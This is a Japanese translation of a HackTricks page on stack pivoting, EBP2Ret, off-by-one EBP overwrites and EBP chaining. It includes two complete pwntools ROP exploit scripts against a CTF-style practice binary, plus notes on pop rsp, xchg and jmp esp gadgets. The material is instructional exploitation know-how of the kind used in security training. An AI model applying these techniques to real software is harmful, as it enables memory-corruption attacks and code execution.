hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

11 KiB
Raw Blame History

スタックピボッティング - EBP2Ret - EBPチェイニング

htARTEHackTricks AWS Red Team Expert を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法

基本情報

このテクニックは、**ベースポインタEBPを操作して、EBPレジスタとleave; ret**命令シーケンスを注意深く使用して複数の関数の実行をチェーンする能力を悪用します。

leaveは基本的に次の意味です:

mov       ebp, esp
pop       ebp
ret

EBP2Ret

このテクニックは、EBPレジスタを変更できるがEIPレジスタを直接変更する方法がない場合に特に有用です。関数が実行を終える際の挙動を利用します。

fvulnの実行中に、スタックに偽のEBPを挿入し、そのEBPがシェルコードのアドレスが格納されているメモリ領域を指すようにすることができればpop操作を考慮して4バイトを加算、間接的にEIPを制御できます。fvulnがリターンすると、ESPはこの作成された場所に設定され、その後のpop操作によりESPが4減少し、実際には攻撃者によってそこに格納されたアドレスを指すようになります。
ここで2つのアドレスを知る必要があることに注意してくださいESPが移動する場所と、ESPが指すアドレスを書き込む必要がある場所です。

Exploit Construction

まず、任意のデータ/アドレスを書き込むことができるアドレスを知る必要があります。ESPはここを指し、最初のretを実行します。

次に、任意のコードを実行するretによって使用されるアドレスを知る必要があります。次のものを使用できます:

  • 有効なONE_GADGETアドレス。
  • system()のアドレスに続く4つのジャンクバイト"/bin/sh"のアドレスx86ビット
  • jump esp; ガジェットのアドレス(ret2esp)と実行するシェルコード
  • いくつかのROPチェーン

制御されたメモリのこのアドレスの前には、leave命令のpop部分のために**4バイトが必要です。これらの4バイトを悪用して2番目の偽のEBP**を設定し、実行を継続することが可能です。

Off-By-One Exploit

このテクニックの特定のバリアントは、「Off-By-One Exploit」として知られています。EBPの最も下位バイトのみを変更できる場合に使用されます。そのような場合、**ret**でジャンプするアドレスを格納するメモリ位置は、最初の3バイトをEBPと共有する必要があり、より制約のある条件で同様の操作が可能になります。
通常、最も遠くまでジャンプするためにバイト0x00を変更します。

また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRET SLED内部を指し、最終的なROPチェーンが実行される可能性が高くなるようにします。

EBP Chaining

したがって、スタックのEBPエントリに制御されたアドレスを配置し、EIPleave; retのアドレスを配置することで、ESPをスタックから制御されたEBPアドレスに移動することができます。

今、**ESP**は望ましいアドレスを指し、次に実行される命令はRETです。これを悪用するために、制御されたESPの場所に次のものを配置できます

  • &(次の偽のEBP) -> leave命令のpop ebpによって新しいEBPをロードします
  • system() -> retによって呼び出されます
  • &(leave;ret) -> systemが終了した後に呼び出され、ESPを偽のEBPに移動させて再開します
  • &("/bin/sh")-> systemのパラメータ

基本的に、プログラムのフローを制御するために複数の偽のEBPをチェーンすることが可能です。

これはret2libのようなものですが、明らかな利点はないものの、いくつかのエッジケースで興味深いかもしれません。

さらに、ここにはこのテクニックを使用してスタックリークを行い、勝利関数を呼び出すチャレンジの例があります。これはページからの最終ペイロードです:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP might not be used

この投稿で説明されているように, バイナリがいくつかの最適化でコンパイルされている場合、EBPはESPを制御することができないため、EBPを制御することによって機能するエクスプロイトは基本的に失敗します。
これは、バイナリが最適化されている場合、プロローグとエピローグが変更されるためです。

  • 最適化されていない場合:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 最適化された:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSPを制御する他の方法

pop rsp ガジェット

このページには、このテクニックを使用した例があります。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、pop rspガジェットが必要で、スタックからのリークがありました。

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp ガジェット

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ここでret2espテクニックを確認してください

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}

参考文献と他の例

ARM64

ARM64では、関数のプロローグとエピローグSPレジスタをスタックに保存および取得しないため、デフォルトでは、スタック内のデータを上書きしてSPレジスタを制御することはできません。